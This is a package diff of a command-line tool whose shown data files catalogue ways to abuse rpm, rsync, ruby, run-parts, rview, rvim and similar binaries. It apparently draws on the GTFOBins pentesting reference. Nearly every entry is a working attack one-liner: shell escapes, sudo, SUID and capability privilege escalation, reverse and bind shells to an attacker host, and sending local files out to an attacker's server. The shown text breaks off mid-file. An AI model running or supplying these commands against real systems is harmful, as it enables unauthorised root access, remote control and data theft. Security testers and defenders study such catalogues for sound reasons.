gtfobins-cli 1.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- gtfo/__init__.py +2 -0
- gtfo/cli.py +90 -0
- gtfo/data/apt-get.json +24 -0
- gtfo/data/apt.json +24 -0
- gtfo/data/ar.json +20 -0
- gtfo/data/aria2c.json +24 -0
- gtfo/data/arp.json +20 -0
- gtfo/data/ash.json +24 -0
- gtfo/data/at.json +20 -0
- gtfo/data/atobm.json +20 -0
- gtfo/data/awk.json +46 -0
- gtfo/data/base32.json +19 -0
- gtfo/data/base64.json +19 -0
- gtfo/data/basenc.json +19 -0
- gtfo/data/bash.json +69 -0
- gtfo/data/bpftrace.json +15 -0
- gtfo/data/bundler.json +29 -0
- gtfo/data/busctl.json +15 -0
- gtfo/data/busybox.json +37 -0
- gtfo/data/byebug.json +19 -0
- gtfo/data/cancel.json +10 -0
- gtfo/data/capsh.json +19 -0
- gtfo/data/cat.json +19 -0
- gtfo/data/certbot.json +14 -0
- gtfo/data/check_by_ssh.json +17 -0
- gtfo/data/check_cups.json +15 -0
- gtfo/data/check_log.json +20 -0
- gtfo/data/check_memory.json +15 -0
- gtfo/data/check_raid.json +15 -0
- gtfo/data/check_ssl_cert.json +17 -0
- gtfo/data/check_statusfile.json +15 -0
- gtfo/data/chmod.json +15 -0
- gtfo/data/chown.json +15 -0
- gtfo/data/chroot.json +14 -0
- gtfo/data/cobc.json +14 -0
- gtfo/data/column.json +20 -0
- gtfo/data/comm.json +19 -0
- gtfo/data/composer.json +19 -0
- gtfo/data/cowsay.json +15 -0
- gtfo/data/cowthink.json +14 -0
- gtfo/data/cp.json +32 -0
- gtfo/data/cpan.json +33 -0
- gtfo/data/cpio.json +48 -0
- gtfo/data/cpulimit.json +19 -0
- gtfo/data/crash.json +21 -0
- gtfo/data/crontab.json +16 -0
- gtfo/data/csh.json +24 -0
- gtfo/data/csplit.json +19 -0
- gtfo/data/csvtool.json +31 -0
- gtfo/data/cupsfilter.json +19 -0
- gtfo/data/curl.json +34 -0
- gtfo/data/cut.json +19 -0
- gtfo/data/dash.json +24 -0
- gtfo/data/date.json +20 -0
- gtfo/data/dd.json +24 -0
- gtfo/data/dialog.json +20 -0
- gtfo/data/diff.json +19 -0
- gtfo/data/dig.json +20 -0
- gtfo/data/dmesg.json +22 -0
- gtfo/data/dmsetup.json +14 -0
- gtfo/data/dnf.json +10 -0
- gtfo/data/docker.json +35 -0
- gtfo/data/dpkg.json +20 -0
- gtfo/data/dvips.json +20 -0
- gtfo/data/easy_install.json +53 -0
- gtfo/data/eb.json +15 -0
- gtfo/data/ed.json +34 -0
- gtfo/data/emacs.json +29 -0
- gtfo/data/env.json +19 -0
- gtfo/data/eqn.json +20 -0
- gtfo/data/ex.json +24 -0
- gtfo/data/exiftool.json +20 -0
- gtfo/data/expand.json +20 -0
- gtfo/data/expect.json +19 -0
- gtfo/data/facter.json +14 -0
- gtfo/data/file.json +26 -0
- gtfo/data/find.json +19 -0
- gtfo/data/finger.json +17 -0
- gtfo/data/flock.json +19 -0
- gtfo/data/fmt.json +27 -0
- gtfo/data/fold.json +19 -0
- gtfo/data/ftp.json +26 -0
- gtfo/data/gawk.json +46 -0
- gtfo/data/gcc.json +24 -0
- gtfo/data/gdb.json +66 -0
- gtfo/data/gem.json +28 -0
- gtfo/data/genisoimage.json +15 -0
- gtfo/data/ghc.json +14 -0
- gtfo/data/ghci.json +14 -0
- gtfo/data/gimp.json +57 -0
- gtfo/data/git.json +55 -0
- gtfo/data/grep.json +20 -0
- gtfo/data/gtester.json +19 -0
- gtfo/data/gzip.json +23 -0
- gtfo/data/hd.json +20 -0
- gtfo/data/head.json +19 -0
- gtfo/data/hexdump.json +20 -0
- gtfo/data/highlight.json +19 -0
- gtfo/data/hping3.json +19 -0
- gtfo/data/iconv.json +25 -0
- gtfo/data/iftop.json +20 -0
- gtfo/data/install.json +15 -0
- gtfo/data/ionice.json +19 -0
- gtfo/data/ip.json +28 -0
- gtfo/data/irb.json +47 -0
- gtfo/data/jjs.json +43 -0
- gtfo/data/join.json +19 -0
- gtfo/data/journalctl.json +15 -0
- gtfo/data/jq.json +19 -0
- gtfo/data/jrunscript.json +43 -0
- gtfo/data/ksh.json +60 -0
- gtfo/data/ksshell.json +20 -0
- gtfo/data/latex.json +29 -0
- gtfo/data/latexmk.json +27 -0
- gtfo/data/ld.so.json +20 -0
- gtfo/data/ldconfig.json +17 -0
- gtfo/data/less.json +40 -0
- gtfo/data/logsave.json +19 -0
- gtfo/data/look.json +19 -0
- gtfo/data/ltrace.json +26 -0
- gtfo/data/lua.json +58 -0
- gtfo/data/lualatex.json +20 -0
- gtfo/data/luatex.json +20 -0
- gtfo/data/lwp-download.json +26 -0
- gtfo/data/lwp-request.json +14 -0
- gtfo/data/mail.json +20 -0
- gtfo/data/make.json +26 -0
- gtfo/data/man.json +24 -0
- gtfo/data/mawk.json +34 -0
- gtfo/data/more.json +24 -0
- gtfo/data/mount.json +10 -0
- gtfo/data/mtr.json +15 -0
- gtfo/data/mv.json +15 -0
- gtfo/data/mysql.json +26 -0
- gtfo/data/nano.json +34 -0
- gtfo/data/nawk.json +46 -0
- gtfo/data/nc.json +40 -0
- gtfo/data/nice.json +19 -0
- gtfo/data/nl.json +20 -0
- gtfo/data/nmap.json +82 -0
- gtfo/data/node.json +58 -0
- gtfo/data/nohup.json +24 -0
- gtfo/data/npm.json +14 -0
- gtfo/data/nroff.json +20 -0
- gtfo/data/nsenter.json +14 -0
- gtfo/data/octave-cli.json +30 -0
- gtfo/data/od.json +20 -0
- gtfo/data/openssl.json +55 -0
- gtfo/data/openvpn.json +28 -0
- gtfo/data/openvt.json +10 -0
- gtfo/data/paste.json +19 -0
- gtfo/data/pdb.json +15 -0
- gtfo/data/pdflatex.json +29 -0
- gtfo/data/pdftex.json +19 -0
- gtfo/data/perl.json +35 -0
- gtfo/data/pg.json +24 -0
- gtfo/data/php.json +70 -0
- gtfo/data/pic.json +19 -0
- gtfo/data/pico.json +34 -0
- gtfo/data/pip.json +53 -0
- gtfo/data/pkexec.json +9 -0
- gtfo/data/pkg.json +10 -0
- gtfo/data/pr.json +20 -0
- gtfo/data/pry.json +19 -0
- gtfo/data/psql.json +15 -0
- gtfo/data/puppet.json +26 -0
- gtfo/data/python.json +62 -0
- gtfo/data/rake.json +19 -0
- gtfo/data/readelf.json +20 -0
- gtfo/data/red.json +20 -0
- gtfo/data/redcarpet.json +15 -0
- gtfo/data/restic.json +20 -0
- gtfo/data/rev.json +19 -0
- gtfo/data/rlogin.json +11 -0
- gtfo/data/rlwrap.json +25 -0
- gtfo/data/rpm.json +26 -0
- gtfo/data/rpmquery.json +19 -0
- gtfo/data/rsync.json +19 -0
- gtfo/data/ruby.json +52 -0
- gtfo/data/run-mailcap.json +28 -0
- gtfo/data/run-parts.json +19 -0
- gtfo/data/rview.json +100 -0
- gtfo/data/rvim.json +100 -0
- gtfo/data/sash.json +19 -0
- gtfo/data/scp.json +31 -0
- gtfo/data/screen.json +24 -0
- gtfo/data/script.json +20 -0
- gtfo/data/sed.json +41 -0
- gtfo/data/service.json +14 -0
- gtfo/data/setarch.json +19 -0
- gtfo/data/sftp.json +26 -0
- gtfo/data/sg.json +15 -0
- gtfo/data/shuf.json +28 -0
- gtfo/data/smbclient.json +27 -0
- gtfo/data/snap.json +10 -0
- gtfo/data/socat.json +46 -0
- gtfo/data/soelim.json +20 -0
- gtfo/data/sort.json +19 -0
- gtfo/data/split.json +31 -0
- gtfo/data/sqlite3.json +34 -0
- gtfo/data/ss.json +20 -0
- gtfo/data/ssh-keygen.json +22 -0
- gtfo/data/ssh.json +38 -0
- gtfo/data/ssh_keyscan.json +20 -0
- gtfo/data/start-stop-daemon.json +19 -0
- gtfo/data/stdbuf.json +19 -0
- gtfo/data/strace.json +25 -0
- gtfo/data/strings.json +20 -0
- gtfo/data/su.json +9 -0
- gtfo/data/sysctl.json +20 -0
- gtfo/data/systemctl.json +21 -0
- gtfo/data/tac.json +20 -0
- gtfo/data/tail.json +19 -0
- gtfo/data/tar.json +51 -0
- gtfo/data/taskset.json +19 -0
- gtfo/data/tbl.json +20 -0
- gtfo/data/tclsh.json +25 -0
- gtfo/data/tcpdump.json +15 -0
- gtfo/data/tee.json +20 -0
- gtfo/data/telnet.json +28 -0
- gtfo/data/tex.json +19 -0
- gtfo/data/tftp.json +28 -0
- gtfo/data/time.json +20 -0
- gtfo/data/timeout.json +19 -0
- gtfo/data/tmux.json +14 -0
- gtfo/data/top.json +16 -0
- gtfo/data/troff.json +20 -0
- gtfo/data/ul.json +20 -0
- gtfo/data/unexpand.json +19 -0
- gtfo/data/uniq.json +20 -0
- gtfo/data/unshare.json +19 -0
- gtfo/data/update-alternatives.json +16 -0
- gtfo/data/uuencode.json +19 -0
- gtfo/data/valgrind.json +14 -0
- gtfo/data/vi.json +28 -0
- gtfo/data/view.json +109 -0
- gtfo/data/vim.json +109 -0
- gtfo/data/vimdiff.json +109 -0
- gtfo/data/virsh.json +21 -0
- gtfo/data/watch.json +25 -0
- gtfo/data/wc.json +20 -0
- gtfo/data/wget.json +40 -0
- gtfo/data/whois.json +25 -0
- gtfo/data/wish.json +20 -0
- gtfo/data/xargs.json +35 -0
- gtfo/data/xelatex.json +29 -0
- gtfo/data/xetex.json +19 -0
- gtfo/data/xmodmap.json +20 -0
- gtfo/data/xmore.json +20 -0
- gtfo/data/xxd.json +24 -0
- gtfo/data/xz.json +19 -0
- gtfo/data/yelp.json +10 -0
- gtfo/data/yum.json +20 -0
- gtfo/data/zip.json +24 -0
- gtfo/data/zsh.json +29 -0
- gtfo/data/zsoelim.json +20 -0
- gtfo/data/zypper.json +22 -0
- gtfobins_cli-1.0.0.dist-info/METADATA +188 -0
- gtfobins_cli-1.0.0.dist-info/RECORD +263 -0
- gtfobins_cli-1.0.0.dist-info/WHEEL +5 -0
- gtfobins_cli-1.0.0.dist-info/entry_points.txt +2 -0
- gtfobins_cli-1.0.0.dist-info/licenses/LICENSE +674 -0
- gtfobins_cli-1.0.0.dist-info/top_level.txt +1 -0
gtfo/data/rpm.json
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "rpm --eval '%{lua:os.execute(\"/bin/sh\")}'"
|
|
6
|
+
},
|
|
7
|
+
{
|
|
8
|
+
"code": "rpm --pipe '/bin/sh 0<&1'"
|
|
9
|
+
}
|
|
10
|
+
],
|
|
11
|
+
"limited-suid": [
|
|
12
|
+
{
|
|
13
|
+
"code": "./rpm --eval '%{lua:os.execute(\"/bin/sh\")}'"
|
|
14
|
+
}
|
|
15
|
+
],
|
|
16
|
+
"sudo": [
|
|
17
|
+
{
|
|
18
|
+
"code": "sudo rpm --eval '%{lua:os.execute(\"/bin/sh\")}'"
|
|
19
|
+
},
|
|
20
|
+
{
|
|
21
|
+
"description": "It runs commands using a specially crafted RPM package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF\n```",
|
|
22
|
+
"code": "sudo rpm -ivh x-1.0-1.noarch.rpm\n"
|
|
23
|
+
}
|
|
24
|
+
]
|
|
25
|
+
}
|
|
26
|
+
}
|
gtfo/data/rpmquery.json
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "rpmquery --eval '%{lua:posix.exec(\"/bin/sh\")}'"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"limited-suid": [
|
|
9
|
+
{
|
|
10
|
+
"code": "./rpmquery --eval '%{lua:os.execute(\"/bin/sh\")}'"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"sudo": [
|
|
14
|
+
{
|
|
15
|
+
"code": "sudo rpmquery --eval '%{lua:posix.exec(\"/bin/sh\")}'"
|
|
16
|
+
}
|
|
17
|
+
]
|
|
18
|
+
}
|
|
19
|
+
}
|
gtfo/data/rsync.json
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "rsync -e 'sh -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"sudo": [
|
|
9
|
+
{
|
|
10
|
+
"code": "sudo rsync -e 'sh -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"suid": [
|
|
14
|
+
{
|
|
15
|
+
"code": "./rsync -e 'sh -p -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null"
|
|
16
|
+
}
|
|
17
|
+
]
|
|
18
|
+
}
|
|
19
|
+
}
|
gtfo/data/ruby.json
ADDED
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "ruby -e 'exec \"/bin/sh\"'"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"reverse-shell": [
|
|
9
|
+
{
|
|
10
|
+
"description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
|
|
11
|
+
"code": "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"[host]\",\"[port]\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"file-upload": [
|
|
15
|
+
{
|
|
16
|
+
"description": "Serve files in the local folder running an HTTP server. This requires version 1.9.2 or later.",
|
|
17
|
+
"code": "ruby -run -e httpd . -p [port]\n"
|
|
18
|
+
}
|
|
19
|
+
],
|
|
20
|
+
"file-download": [
|
|
21
|
+
{
|
|
22
|
+
"description": "Fetch a remote file via HTTP GET request.",
|
|
23
|
+
"code": "ruby -e 'require \"open-uri\"; IO.copy_stream(open(\"[url]\"), \"[file]\")'\n"
|
|
24
|
+
}
|
|
25
|
+
],
|
|
26
|
+
"file-write": [
|
|
27
|
+
{
|
|
28
|
+
"code": "ruby -e 'File.open(\"[file]\", \"w+\") { |f| f.write(\"DATA\") }'"
|
|
29
|
+
}
|
|
30
|
+
],
|
|
31
|
+
"file-read": [
|
|
32
|
+
{
|
|
33
|
+
"code": "ruby -e 'puts File.read(\"[file]\")'"
|
|
34
|
+
}
|
|
35
|
+
],
|
|
36
|
+
"library-load": [
|
|
37
|
+
{
|
|
38
|
+
"code": "ruby -e 'require \"fiddle\"; Fiddle.dlopen(\"lib.so\")'"
|
|
39
|
+
}
|
|
40
|
+
],
|
|
41
|
+
"sudo": [
|
|
42
|
+
{
|
|
43
|
+
"code": "sudo ruby -e 'exec \"/bin/sh\"'"
|
|
44
|
+
}
|
|
45
|
+
],
|
|
46
|
+
"capabilities": [
|
|
47
|
+
{
|
|
48
|
+
"code": "./ruby -e 'Process::Sys.setuid(0); exec \"/bin/sh\"'"
|
|
49
|
+
}
|
|
50
|
+
]
|
|
51
|
+
}
|
|
52
|
+
}
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
|
|
6
|
+
"code": "run-mailcap --action=view /etc/hosts\n!/bin/sh\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"file-read": [
|
|
10
|
+
{
|
|
11
|
+
"description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
|
|
12
|
+
"code": "run-mailcap --action=view [file]"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"file-write": [
|
|
16
|
+
{
|
|
17
|
+
"description": "The file must exist and be not empty. This invokes the default editor, which is likely to be 'vi', other functions may apply.",
|
|
18
|
+
"code": "run-mailcap --action=edit [file]"
|
|
19
|
+
}
|
|
20
|
+
],
|
|
21
|
+
"sudo": [
|
|
22
|
+
{
|
|
23
|
+
"description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
|
|
24
|
+
"code": "sudo run-mailcap --action=view /etc/hosts\n!/bin/sh\n"
|
|
25
|
+
}
|
|
26
|
+
]
|
|
27
|
+
}
|
|
28
|
+
}
|
gtfo/data/run-parts.json
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "run-parts --new-session --regex '^sh$' /bin"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"sudo": [
|
|
9
|
+
{
|
|
10
|
+
"code": "sudo run-parts --new-session --regex '^sh$' /bin"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"suid": [
|
|
14
|
+
{
|
|
15
|
+
"code": "./run-parts --new-session --regex '^sh$' /bin --arg='-p'"
|
|
16
|
+
}
|
|
17
|
+
]
|
|
18
|
+
}
|
|
19
|
+
}
|
gtfo/data/rview.json
ADDED
|
@@ -0,0 +1,100 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3.",
|
|
6
|
+
"code": "rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
|
|
7
|
+
},
|
|
8
|
+
{
|
|
9
|
+
"description": "This requires that 'rview' is compiled with Lua support.",
|
|
10
|
+
"code": "rview -c ':lua os.execute(\"reset; exec sh\")'"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"reverse-shell": [
|
|
14
|
+
{
|
|
15
|
+
"description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3. Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
|
|
16
|
+
"code": "rview -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\", [port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n"
|
|
17
|
+
}
|
|
18
|
+
],
|
|
19
|
+
"non-interactive-reverse-shell": [
|
|
20
|
+
{
|
|
21
|
+
"description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This requires that 'rview' is compiled with Lua support and that 'lua-socket' is installed.",
|
|
22
|
+
"code": "rview -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\nt:connect(\"[host]\", [port]);\nwhile true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\nend;\nf:close();t:close();'\n"
|
|
23
|
+
}
|
|
24
|
+
],
|
|
25
|
+
"non-interactive-bind-shell": [
|
|
26
|
+
{
|
|
27
|
+
"description": "Run 'nc [host] [port]' on the attacker box to connect to the shell. This requires that 'rview' is compiled with Lua support and that 'lua-socket' is installed.",
|
|
28
|
+
"code": "rview -c ':lua local k=require(\"socket\");\nlocal s=assert(k.bind(\"*\", [port]));\nlocal c=s:accept();\nwhile true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\nend;c:close();f:close();'\n"
|
|
29
|
+
}
|
|
30
|
+
],
|
|
31
|
+
"file-upload": [
|
|
32
|
+
{
|
|
33
|
+
"description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
|
|
34
|
+
"code": "rview -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[host]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))\nvim.command(\":q!\")'\n"
|
|
35
|
+
},
|
|
36
|
+
{
|
|
37
|
+
"description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3. Serve files in the local folder running an HTTP server.",
|
|
38
|
+
"code": "rview -c ':py import vim,sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n"
|
|
39
|
+
},
|
|
40
|
+
{
|
|
41
|
+
"description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file. This requires that 'rview' is compiled with Lua support and that 'lua-socket' is installed.",
|
|
42
|
+
"code": "rview -c ':lua local f=io.open(\"[file]\", \"rb\")\nlocal d=f:read(\"*a\")\nio.close(f);\nlocal s=require(\"socket\");\nlocal t=assert(s.tcp());\nt:connect(\"[host]\", [port]);\nt:send(d);\nt:close();'\n"
|
|
43
|
+
}
|
|
44
|
+
],
|
|
45
|
+
"file-download": [
|
|
46
|
+
{
|
|
47
|
+
"description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3. Fetch a remote file via HTTP GET request.",
|
|
48
|
+
"code": "rview -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[host]\", \"[file]\")\nvim.command(\":q!\")'\n"
|
|
49
|
+
},
|
|
50
|
+
{
|
|
51
|
+
"description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [file]' on the attacker box to send the file. This requires that 'rview' is compiled with Lua support and that 'lua-socket' is installed.",
|
|
52
|
+
"code": "rview -c ':lua local k=require(\"socket\");\nlocal s=assert(k.bind(\"*\", [port]));\nlocal c=s:accept();\nlocal d,x=c:receive(\"*a\");\nc:close();\nlocal f=io.open(\"LFILE\", \"wb\");\nf:write(d);\nio.close(f);'\n"
|
|
53
|
+
}
|
|
54
|
+
],
|
|
55
|
+
"file-write": [
|
|
56
|
+
{
|
|
57
|
+
"code": "rview [file]\niDATA\n^[\nw!\n"
|
|
58
|
+
}
|
|
59
|
+
],
|
|
60
|
+
"file-read": [
|
|
61
|
+
{
|
|
62
|
+
"code": "rview [file]"
|
|
63
|
+
}
|
|
64
|
+
],
|
|
65
|
+
"library-load": [
|
|
66
|
+
{
|
|
67
|
+
"description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3.",
|
|
68
|
+
"code": "rview -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'"
|
|
69
|
+
}
|
|
70
|
+
],
|
|
71
|
+
"suid": [
|
|
72
|
+
{
|
|
73
|
+
"description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3.",
|
|
74
|
+
"code": "./rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'"
|
|
75
|
+
}
|
|
76
|
+
],
|
|
77
|
+
"sudo": [
|
|
78
|
+
{
|
|
79
|
+
"description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3.",
|
|
80
|
+
"code": "sudo rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
|
|
81
|
+
},
|
|
82
|
+
{
|
|
83
|
+
"description": "This requires that 'rview' is compiled with Lua support.",
|
|
84
|
+
"code": "sudo rview -c ':lua os.execute(\"reset; exec sh\")'"
|
|
85
|
+
}
|
|
86
|
+
],
|
|
87
|
+
"capabilities": [
|
|
88
|
+
{
|
|
89
|
+
"description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3.",
|
|
90
|
+
"code": "./rview -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
|
|
91
|
+
}
|
|
92
|
+
],
|
|
93
|
+
"limited-suid": [
|
|
94
|
+
{
|
|
95
|
+
"description": "This requires that 'rview' is compiled with Lua support.",
|
|
96
|
+
"code": "./rview -c ':lua os.execute(\"reset; exec sh\")'"
|
|
97
|
+
}
|
|
98
|
+
]
|
|
99
|
+
}
|
|
100
|
+
}
|
gtfo/data/rvim.json
ADDED
|
@@ -0,0 +1,100 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3.",
|
|
6
|
+
"code": "rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
|
|
7
|
+
},
|
|
8
|
+
{
|
|
9
|
+
"description": "This requires that 'rvim' is compiled with Lua support.",
|
|
10
|
+
"code": "rvim -c ':lua os.execute(\"reset; exec sh\")'"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"reverse-shell": [
|
|
14
|
+
{
|
|
15
|
+
"description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3. Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
|
|
16
|
+
"code": "rvim -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port])))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n"
|
|
17
|
+
}
|
|
18
|
+
],
|
|
19
|
+
"non-interactive-reverse-shell": [
|
|
20
|
+
{
|
|
21
|
+
"description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This requires that 'rvim' is compiled with Lua support and that 'lua-socket' is installed.",
|
|
22
|
+
"code": "rvim -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\n t:connect(\"[host]\",[port]);\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n"
|
|
23
|
+
}
|
|
24
|
+
],
|
|
25
|
+
"non-interactive-bind-shell": [
|
|
26
|
+
{
|
|
27
|
+
"description": "Run 'nc [host] [port]' on the attacker box to connect to the shell. This requires that 'rvim' is compiled with Lua support and that `lua-socket` is installed.",
|
|
28
|
+
"code": "rvim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",[port]));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n"
|
|
29
|
+
}
|
|
30
|
+
],
|
|
31
|
+
"file-upload": [
|
|
32
|
+
{
|
|
33
|
+
"description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3. Send local file via 'd' parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
|
|
34
|
+
"code": "rvim -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[url]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))\nvim.command(\":q!\")'\n"
|
|
35
|
+
},
|
|
36
|
+
{
|
|
37
|
+
"description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3. Serve files in the local folder running an HTTP server.",
|
|
38
|
+
"code": "rvim -c ':py import vim,sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n"
|
|
39
|
+
},
|
|
40
|
+
{
|
|
41
|
+
"description": "Send a local file via TCP. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file. This requires that `rvim` is compiled with Lua support and that 'lua-socket' is installed.",
|
|
42
|
+
"code": "rvim -c ':lua local f=io.open(\"[file]\", 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(\"[host]\",[port]);\n t:send(d);\n t:close();'\n"
|
|
43
|
+
}
|
|
44
|
+
],
|
|
45
|
+
"file-download": [
|
|
46
|
+
{
|
|
47
|
+
"description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3. Fetch a remote file via HTTP GET request.",
|
|
48
|
+
"code": "rvim -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[url]\", \"[file]\")\nvim.command(\":q!\")'\n"
|
|
49
|
+
},
|
|
50
|
+
{
|
|
51
|
+
"description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [file]' on the attacker box to send the file. This requires that 'rvim' is compiled with Lua support and that 'lua-socket' is installed.",
|
|
52
|
+
"code": "rvim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",\"[port]\"));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(\"[file]\", \"wb\");\n f:write(d);\n io.close(f);'\n"
|
|
53
|
+
}
|
|
54
|
+
],
|
|
55
|
+
"file-write": [
|
|
56
|
+
{
|
|
57
|
+
"code": "rvim [file]\niDATA\n^[\nw\n"
|
|
58
|
+
}
|
|
59
|
+
],
|
|
60
|
+
"file-read": [
|
|
61
|
+
{
|
|
62
|
+
"code": "rvim [file]"
|
|
63
|
+
}
|
|
64
|
+
],
|
|
65
|
+
"library-load": [
|
|
66
|
+
{
|
|
67
|
+
"description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3.",
|
|
68
|
+
